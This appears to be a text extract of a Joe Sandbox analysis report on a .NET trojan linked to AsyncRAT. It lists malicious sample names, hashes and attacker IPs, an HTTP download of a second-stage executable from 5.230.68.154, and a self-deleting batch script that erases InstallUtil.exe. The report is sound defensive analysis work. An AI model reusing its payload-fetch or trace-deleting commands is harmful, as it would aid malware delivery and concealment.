qKxXZuMvtP Get hash malicious Browse 193.187.23.215

4rnjlRe7UG.exe Get hash malicious Browse 5.230.68.37

8ft2Xvqgx2.exe Get hash malicious Browse 5.230.68.37

WJRyvbvOD7.exe Get hash malicious Browse 5.230.68.37

o06RIULPrN.exe Get hash malicious Browse 5.230.68.37

wpljwjYfor.exe Get hash malicious Browse 5.230.68.37

jNqtcYPpUY.exe Get hash malicious Browse 5.230.68.37

VPSs4oyVHT.exe Get hash malicious Browse 5.230.68.37

VPSs4oyVHT.exe Get hash malicious Browse 5.230.68.37

RaIizmp3oX.exe Get hash malicious Browse 5.230.68.37

RaIizmp3oX.exe Get hash malicious Browse 5.230.68.37

setup_x86_x64_install.exe Get hash malicious Browse 5.230.68.37

6Wn3W5gOWd.exe Get hash malicious Browse 5.230.67.97

OrTzQl1ZBa.exe Get hash malicious Browse 5.230.67.97

kWhElUg959.exe Get hash malicious Browse 5.230.67.97

07985C9819097683B7F2BC59CC7D02E0497F0121
87E05.exe

Get hash malicious Browse 5.230.69.213

ASGHOSTNETDE uYXdiSR2Vh.exe Get hash malicious Browse 5.230.84.50

9YBEjmPn3w Get hash malicious Browse 89.106.93.135

jKira.x86 Get hash malicious Browse 5.175.194.119

EofbDJ3S2o.exe Get hash malicious Browse 5.230.68.37

qKxXZuMvtP Get hash malicious Browse 193.187.23.215

4rnjlRe7UG.exe Get hash malicious Browse 5.230.68.37

8ft2Xvqgx2.exe Get hash malicious Browse 5.230.68.37

WJRyvbvOD7.exe Get hash malicious Browse 5.230.68.37

o06RIULPrN.exe Get hash malicious Browse 5.230.68.37

wpljwjYfor.exe Get hash malicious Browse 5.230.68.37

jNqtcYPpUY.exe Get hash malicious Browse 5.230.68.37

VPSs4oyVHT.exe Get hash malicious Browse 5.230.68.37

VPSs4oyVHT.exe Get hash malicious Browse 5.230.68.37

RaIizmp3oX.exe Get hash malicious Browse 5.230.68.37

RaIizmp3oX.exe Get hash malicious Browse 5.230.68.37

setup_x86_x64_install.exe Get hash malicious Browse 5.230.68.37

6Wn3W5gOWd.exe Get hash malicious Browse 5.230.67.97

OrTzQl1ZBa.exe Get hash malicious Browse 5.230.67.97

kWhElUg959.exe Get hash malicious Browse 5.230.67.97

07985C9819097683B7F2BC59CC7D02E0497F0121
87E05.exe

Get hash malicious Browse 5.230.69.213

ASN

Copyright Joe Security LLC 2021 Page 13 of 32

https://view.joesandbox.com/analysis/385956/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385956/html/none?idtype=webid
https://view.joesandbox.com/analysis/385940/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385940/html/none?idtype=webid
https://view.joesandbox.com/analysis/385937/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385937/html/none?idtype=webid
https://view.joesandbox.com/analysis/385833/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385833/html/none?idtype=webid
https://view.joesandbox.com/analysis/385774/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385774/html/none?idtype=webid
https://view.joesandbox.com/analysis/385762/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385762/html/none?idtype=webid
https://view.joesandbox.com/analysis/385755/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385755/html/none?idtype=webid
https://view.joesandbox.com/analysis/385718/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385718/html/none?idtype=webid
https://view.joesandbox.com/analysis/385663/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385663/html/none?idtype=webid
https://view.joesandbox.com/analysis/385647/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385647/html/none?idtype=webid
https://view.joesandbox.com/analysis/385623/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385623/html/none?idtype=webid
https://view.joesandbox.com/analysis/385471/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385471/html/none?idtype=webid
https://view.joesandbox.com/analysis/384833/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384833/html/none?idtype=webid
https://view.joesandbox.com/analysis/377420/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377420/html/none?idtype=webid
https://view.joesandbox.com/analysis/376274/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376274/html/none?idtype=webid
https://view.joesandbox.com/analysis/376177/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376177/html/none?idtype=webid
https://view.joesandbox.com/analysis/375885/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375885/html/none?idtype=webid
https://view.joesandbox.com/analysis/375800/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375800/html/none?idtype=webid
https://view.joesandbox.com/analysis/375762/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375762/html/none?idtype=webid
https://view.joesandbox.com/analysis/375755/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375755/html/none?idtype=webid
https://view.joesandbox.com/analysis/375752/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375752/html/none?idtype=webid
https://view.joesandbox.com/analysis/375233/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375233/html/none?idtype=webid
https://view.joesandbox.com/analysis/374791/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374791/html/none?idtype=webid
https://view.joesandbox.com/analysis/374790/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374790/html/none?idtype=webid
https://view.joesandbox.com/analysis/374764/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374764/html/none?idtype=webid
https://view.joesandbox.com/analysis/374763/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374763/html/none?idtype=webid
https://view.joesandbox.com/analysis/374758/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374758/html/none?idtype=webid
https://view.joesandbox.com/analysis/374666/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374666/html/none?idtype=webid
https://view.joesandbox.com/analysis/374455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374455/html/none?idtype=webid
https://view.joesandbox.com/analysis/374109/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374109/html/none?idtype=webid
https://view.joesandbox.com/analysis/374007/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374007/html/none?idtype=webid
https://view.joesandbox.com/analysis/385471/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385471/html/none?idtype=webid
https://view.joesandbox.com/analysis/384833/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384833/html/none?idtype=webid
https://view.joesandbox.com/analysis/377420/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377420/html/none?idtype=webid
https://view.joesandbox.com/analysis/376274/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376274/html/none?idtype=webid
https://view.joesandbox.com/analysis/376177/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376177/html/none?idtype=webid
https://view.joesandbox.com/analysis/375885/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375885/html/none?idtype=webid
https://view.joesandbox.com/analysis/375800/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375800/html/none?idtype=webid
https://view.joesandbox.com/analysis/375762/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375762/html/none?idtype=webid
https://view.joesandbox.com/analysis/375755/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375755/html/none?idtype=webid
https://view.joesandbox.com/analysis/375752/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375752/html/none?idtype=webid
https://view.joesandbox.com/analysis/375233/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375233/html/none?idtype=webid
https://view.joesandbox.com/analysis/374791/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374791/html/none?idtype=webid
https://view.joesandbox.com/analysis/374790/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374790/html/none?idtype=webid
https://view.joesandbox.com/analysis/374764/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374764/html/none?idtype=webid
https://view.joesandbox.com/analysis/374763/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374763/html/none?idtype=webid
https://view.joesandbox.com/analysis/374758/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374758/html/none?idtype=webid
https://view.joesandbox.com/analysis/374666/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374666/html/none?idtype=webid
https://view.joesandbox.com/analysis/374455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374455/html/none?idtype=webid
https://view.joesandbox.com/analysis/374109/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374109/html/none?idtype=webid
https://view.joesandbox.com/analysis/374007/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374007/html/none?idtype=webid


Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

54328bd36c14bd82ddaa0c04b25ed9ad s9SWgUgyO5.exe Get hash malicious Browse 162.159.13
3.233

GU#U00cdA DE CARGA...exe Get hash malicious Browse 162.159.13
3.233

q2D8haqKv5.exe Get hash malicious Browse 162.159.13
3.233

TT09876545678T8R456.exe Get hash malicious Browse 162.159.13
3.233

Original Shipping documents.exe Get hash malicious Browse 162.159.13
3.233

TAX INVOICE_CCU-30408495_00942998_201809
10_194738.exe

Get hash malicious Browse 162.159.13
3.233

RHgAncmh0E.exe Get hash malicious Browse 162.159.13
3.233

01_extracted.exe Get hash malicious Browse 162.159.13
3.233

INQUIRY LIST.exe Get hash malicious Browse 162.159.13
3.233

YTHK21082400.exe Get hash malicious Browse 162.159.13
3.233

Taskmgr.exe Get hash malicious Browse 162.159.13
3.233

SOA.exe Get hash malicious Browse 162.159.13
3.233

SWIFT ADVISE VD20092021.Pdf.exe Get hash malicious Browse 162.159.13
3.233

xccHIJ0vo7.exe Get hash malicious Browse 162.159.13
3.233

S.O.A.exe Get hash malicious Browse 162.159.13
3.233

9Fq3K0VfLK.exe Get hash malicious Browse 162.159.13
3.233

LFC _ X#U00e1c nh#U1eadn #U0111#U01a1n h#U00e0ng _ 
Kh#U1ea9n c#U1ea5p,pdf.exe

Get hash malicious Browse 162.159.13
3.233

#U0916#U0930#U0940#U0926 #U0906#U0926#U0
947#U0936-34002174,pdf.exe

Get hash malicious Browse 162.159.13
3.233

DHL NOTIFICATIONS.exe Get hash malicious Browse 162.159.13
3.233

DHL NOTIFICATION.exe Get hash malicious Browse 162.159.13
3.233

No context

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File Type: Microsoft Cabinet archive data, 61157 bytes, 1 file

Category: dropped

Size (bytes): 61157

Entropy (8bit): 7.995991509218449

Encrypted: true

SSDEEP: 1536:ppUkcaDREfLNPj1tHqn+ZQgYXAMxCbG0Ra0HMSAKMgAAaE1k:7UXaDR0NPj1Vi++xQFa07sTgAQ1k

MD5: AB5C36D10261C173C5896F3478CDC6B7

SHA1: 87AC53810AD125663519E944BC87DED3979CBEE4

SHA-256: F8E90FB0557FE49D7702CFB506312AC0B24C97802F9C782696DB6D47F434E8E9

SHA-512: E83E4EAE44E7A9CBCD267DBFC25A7F4F68B50591E3BBE267324B1F813C9220D565B284994DED5F7D2D371D50E1EBFA647176EC8DE9716F754C6B5785C6E897F
A

Malicious: false

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/386123/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386123/html/none?idtype=webid
https://view.joesandbox.com/analysis/386092/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386092/html/none?idtype=webid
https://view.joesandbox.com/analysis/386076/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386076/html/none?idtype=webid
https://view.joesandbox.com/analysis/386071/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386071/html/none?idtype=webid
https://view.joesandbox.com/analysis/386064/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386064/html/none?idtype=webid
https://view.joesandbox.com/analysis/386058/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386058/html/none?idtype=webid
https://view.joesandbox.com/analysis/386042/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386042/html/none?idtype=webid
https://view.joesandbox.com/analysis/386010/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386010/html/none?idtype=webid
https://view.joesandbox.com/analysis/385956/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385956/html/none?idtype=webid
https://view.joesandbox.com/analysis/385940/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385940/html/none?idtype=webid
https://view.joesandbox.com/analysis/385762/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385762/html/none?idtype=webid
https://view.joesandbox.com/analysis/385757/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385757/html/none?idtype=webid
https://view.joesandbox.com/analysis/385755/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385755/html/none?idtype=webid
https://view.joesandbox.com/analysis/385718/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385718/html/none?idtype=webid
https://view.joesandbox.com/analysis/385715/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385715/html/none?idtype=webid
https://view.joesandbox.com/analysis/385663/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385663/html/none?idtype=webid
https://view.joesandbox.com/analysis/385654/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385654/html/none?idtype=webid
https://view.joesandbox.com/analysis/385648/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385648/html/none?idtype=webid
https://view.joesandbox.com/analysis/385645/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385645/html/none?idtype=webid
https://view.joesandbox.com/analysis/385644/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385644/html/none?idtype=webid


Reputation: moderate, very likely benign file

Preview:
MSCF............,...................I........t........*S{I .authroot.stl..p.(.5..CK..8U....u.}M7{v!.\D.u.....F.eWI.!e..B2QIR..$4.%.3eK$J. ......9w4...=.9..}...~....$..h..ye.A..;....|. O6.a0xN....9..C.
.t.z.,..d`.c...(5.....<..1.|..2.1.0.g.4yw..eW.#.x....+.oF....8.t...Y....q.M.....HB.^y^a...)..GaV"|..+.'..f..V.y.b.V.PV......`..9+..\0.g...!.s..a....Q...........~@$.....8..(g..tj....=,V)v.s.d.].xqX4...
..s....K..6.tH.....p~.2..!..<./X......r.. ?(.\[. H...#?.H.".. p.V.}.`L...P0.y....|...A..(...&..3.ag...c..7.T=....ip.Ta..F.....'..BsV...0.....f....Lh.f..6....u.....Mqm.,...@.WZ.={,;.J...)...{_Ao....T..
....xJmH.#..>.f..RQT.Ul(..AV..|.!k0...|\......U2U..........,9..+.\R..(.[.'M........0.o..,.t.#..>y.!....!X<o.....w...'......a.'..og+>..|.s.g.Wr.2K.=...5.YO.E.V.....`.O..[.d.....c..g....A..=....k..u2..Y
.}.......C...\=...&...U.e...?...z.'..$..fj.'|.c....4y.".T.....X....@xpQ.,.q.."...t.... $.F..O.A.o_}d.3...z...F?..-...Fy...W#...1......T.3....x.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File Type: data

Category: dropped

Size (bytes): 326

Entropy (8bit): 3.0973509224838742

Encrypted: false

SSDEEP: 6:kKUVdFN+SkQlPlEGYRMY9z+4KlDA3RUeOlEfcTt:cT2kPlE99SNxAhUefit

MD5: 6410F49E3AFF7774CB5076436A60FA66

SHA1: 4F9A1387925EDF4EDE03C4EC8EC3F1AFCB97CA26

SHA-256: 8D43C6F7B269D8D0AF466EBE1B37871782FECE8A662A4BD81F5A092097B12A6D

SHA-512: 73F937FA2C1C57FD03135BAB71933F77ACA22544FF7BBE299915BF5822C24E9A76AFE6BB2FB6D144B62510892DB485E5898C51BCCABEF81B471E8425C4DE9F0
E

Malicious: false

Reputation: low

Preview:
p...... ........Qc.....(....................................................... ...........^.......$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s
.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.a.a.8.a.1.5.e.a.6.d.7.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\aQKifdER74.exe.log

Process: C:\Users\user\Desktop\aQKifdER74.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1721

Entropy (8bit): 5.39127362806184

Encrypted: false

SSDEEP: 48:MxHKEYHKGD8AoPtHTG1hAHKKPF1qHGiD0HKeGxHK3+vxpNT:iqEYqGgAoPtzG1eqKPFwmI0qeoquZPT

MD5: A25F70EB14E27BADC54BCAAFD471B0D7

SHA1: BAD9E4E87715827CBE362DF7A94785DC4591A83D

SHA-256: C08CF4305521B0F463807E849D806B70D7073D70C8C3633AB4E347F041442080

SHA-512: CD8E23EA50159382090433358A23C7D135333E3E1A13BE01C12136333CBE25C894D5768BD81A0910701A239F5583B8A17AECAD4F4F2EDCBC6C61F8041737725A

Malicious: true

Reputation: low

Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeIma
ges_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561
934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..3,"System.Configuration, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\e82398e9ff6885
d617e4b97e31fb4f02\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assem
bly\NativeImages_v4.0.30319_64\System.Xml\f2e3165e3c718b7ac302fea40614c984\System.Xml.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, 
PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\49e5

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log
Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File Type: ASCII text, with CRLF line terminators

Category: modified

Size (bytes): 1580

Entropy (8bit): 5.333386066543561

Encrypted: false

SSDEEP: 48:MxHKXwYHKhQnoPtHoxHhAHKzvKvjHK1HxLHqHbHKgmHKx1qHj:iqXwYqhQnoPtIxHeqzyrq1RLK7qTqxwD

MD5: FC2EE34659AE1A88419889814417B631

SHA1: 36D67A6F9160473FC145566BC9E3D441F04DF544

SHA-256: 6478F90B1CA1C8CF2214BF5DC5337C56DF4DEC57E44CB68AFE609E13CDF6D957

SHA-512: CB0391AB2EEFEF4A363C1E88D86F647EC24A60864B0DBB128A6E7CAE4A77673F46F94CA8CACF15A6C938E32EDD3FE0F2E27535EA67CC768D8DC1453136EC5
EE0

Malicious: false
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Static File Info

General
File type: PE32 executable (console) Intel 80386 Mono/.Net as

sembly, for MS Windows

Entropy (8bit): 4.847626585828494

TrID: Win32 Executable (generic) Net Framework 
(10011505/4) 49.83%
Win32 Executable (generic) a (10002005/4) 
49.78%
Generic CIL Executable (.NET, Mono, etc.) 
(73296/58) 0.36%
Generic Win/DOS Executable (2004/3) 0.01%
DOS Executable Generic (2002/1) 0.01%

File name: aQKifdER74.exe

File size: 15872

MD5: 0d1c0270678dbf229c04ed4ec7e1a493

SHA1: 5c6ffd912b0ec3d6f8a255de0c57aef3daebe490

SHA256: ca2f1fd98c74804cf417f07a86db13a71baed4647e919a1
10a82df0bfba02e85

SHA512: 6863910f21f6f6a76e9222e66bcdfc8be47eaaaa17e2c42
74da0ab8a96f270001d851b5c0e30c30002933b0e2173f6
0cce6dcdb402268035170ba6a93a3f7760

Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeIma
ges_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561
934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba49
4b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assem
bly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, 
PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

C:\Users\user\AppData\Local\Temp\tmpC472.tmp.bat
Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File Type: DOS batch file, ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 175

Entropy (8bit): 5.2873882781859

Encrypted: false

SSDEEP: 3:mKDDCMNqTtvyty8WddSN8syEQRI0dAlKDwU1hGDt+kiE2J5xAInTRIMRSwZPy:hWKqTt6LW6qsXQRnd9DNewkn23fTtxk

MD5: E960C05C5E8458EEC9B4EFA278CB5B72

SHA1: 8DE5B431CFDEBF3B0AA5CE1672E03E1333EF0794

SHA-256: AD307035385923232E3EDB29F84A4FEC8C8F1ED305158DD5F230F5DC8ECDD7D7

SHA-512: 5640C4C5C82815C48765DB3012E4C9FD7613E470DB80427683CC0609A3878CDA7DB4FF5DC1C3962F276FABCF69148364CC1A14ABD482DAA244CDF2191CA71ED
2

Malicious: false

Preview:
@echo off..timeout 3 > NUL..CD C:\Windows\Microsoft.NET\Framework\v4.0.30319..DEL "InstallUtil.exe" /f /q..CD C:\Users\user\AppData\Local\Temp\..DEL "tmpC472.tm
p.bat" /f /q..

\Device\Null
Process: C:\Windows\SysWOW64\timeout.exe

File Type: ASCII text, with CRLF line terminators, with overstriking

Category: dropped

Size (bytes): 60

Entropy (8bit): 4.41440934524794

Encrypted: false

SSDEEP: 3:hYFqdLGAR+mQRKVxLZXt0sn:hYFqGaNZKsn

MD5: 3DD7DD37C304E70A7316FE43B69F421F

SHA1: A3754CFC33E9CA729444A95E95BCB53384CB51E4

SHA-256: 4FA27CE1D904EA973430ADC99062DCF4BAB386A19AB0F8D9A4185FA99067F3AA

SHA-512: 713533E973CF0FD359AC7DB22B1399392C86D9FD1E715248F5724AAFBBF0EEB5EAC0289A0E892167EB559BE976C2AD0A0A0D8EFC407FFAF5B3C3A32AA9A0AA
A4

Malicious: false

Preview:
..Waiting for 3 seconds, press a key to continue ....2.1.0..
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SSDEEP: 384:UJlDvg92If34ZLRNO5VZG7trRo2+qlf4VW0vFeWV
7dyaXGyOzg18a:UnDQXlqlf4IzWVZyadOzgV

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$.......PE..L....
PKa................."...........@... ...`....@.. ..............................
......@................................

General

File Icon

Icon Hash: 89a8a0acaea68880

Snort IDS Alerts

General
Entrypoint: 0x40400e

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows cui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0x614B500D [Wed Sep 22 15:47:25 2021 UTC]

TLS Callbacks:

CLR (.Net) Version: v4.0.30319

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: f34d5f2d4577ed6d9ceec516c1f5a744

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x2000 0x2014 0x2200 False 0.409122242647 SysEx File - 4.82152111605 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.rsrc 0x6000 0x164c 0x1800 False 0.235026041667 data 4.53070661765 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

.reloc 0x8000 0xc 0x200 False 0.044921875 data 0.0815394123432 IMAGE_SCN_CNT_INITIALIZED_D
ATA, 
IMAGE_SCN_MEM_DISCARDABL
E, IMAGE_SCN_MEM_READ

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

09/27/21-
20:36:17.794027

TCP 2018581 ET TROJAN Single char EXE direct download likely trojan (multiple families) 49772 80 192.168.2.4 5.230.68.154

Static PE Info

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos
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Network Port Distribution

09/27/21-
20:36:32.614360

TCP 2030673 ET TROJAN Observed Malicious SSL Cert (AsyncRAT Server) 1465 49774 5.230.84.50 192.168.2.4

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Sep 27, 2021 20:36:18.031347036 CEST 192.168.2.4 8.8.8.8 0x6430 Standard query 
(0)

cdn.discor
dapp.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Sep 27, 2021 
20:36:18.044917107 
CEST

8.8.8.8 192.168.2.4 0x6430 No error (0) cdn.discor
dapp.com

162.159.133.233 A (IP address) IN (0x0001)

Sep 27, 2021 
20:36:18.044917107 
CEST

8.8.8.8 192.168.2.4 0x6430 No error (0) cdn.discor
dapp.com

162.159.129.233 A (IP address) IN (0x0001)

Sep 27, 2021 
20:36:18.044917107 
CEST

8.8.8.8 192.168.2.4 0x6430 No error (0) cdn.discor
dapp.com

162.159.134.233 A (IP address) IN (0x0001)

Sep 27, 2021 
20:36:18.044917107 
CEST

8.8.8.8 192.168.2.4 0x6430 No error (0) cdn.discor
dapp.com

162.159.135.233 A (IP address) IN (0x0001)

Sep 27, 2021 
20:36:18.044917107 
CEST

8.8.8.8 192.168.2.4 0x6430 No error (0) cdn.discor
dapp.com

162.159.130.233 A (IP address) IN (0x0001)

            
cdn.discordapp.com

            
5.230.68.154

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.4 49773 162.159.133.233 443 C:\Users\user\Desktop\aQKifdER74.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.4 49772 5.230.68.154 80 C:\Users\user\Desktop\aQKifdER74.exe

Timestamp
kBytes
transferred Direction Data

Sep 27, 2021 
20:36:17.794027090 CEST

1122 OUT GET /img/icon/b.exe HTTP/1.1
Host: 5.230.68.154
Connection: Keep-Alive

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets
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Sep 27, 2021 
20:36:17.822236061 CEST

1123 IN HTTP/1.1 200 OK
Server: nginx
Date: Mon, 27 Sep 2021 18:36:17 GMT
Content-Type: application/octet-stream
Content-Length: 46080
Connection: keep-alive
Keep-Alive: timeout=60
Last-Modified: Thu, 23 Sep 2021 16:06:22 GMT
ETag: "b400-5ccabcfe1ddf5"
Accept-Ranges: bytes
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 23 90 b7 5e 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 
08 00 00 a8 00 00 00 0a 00 00 00 00 00 00 6e c7 00 00 00 20 00 00 00 e0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 01 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 c7 00 00 57 00 00 00 00 e0 00 00 ff 07 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 
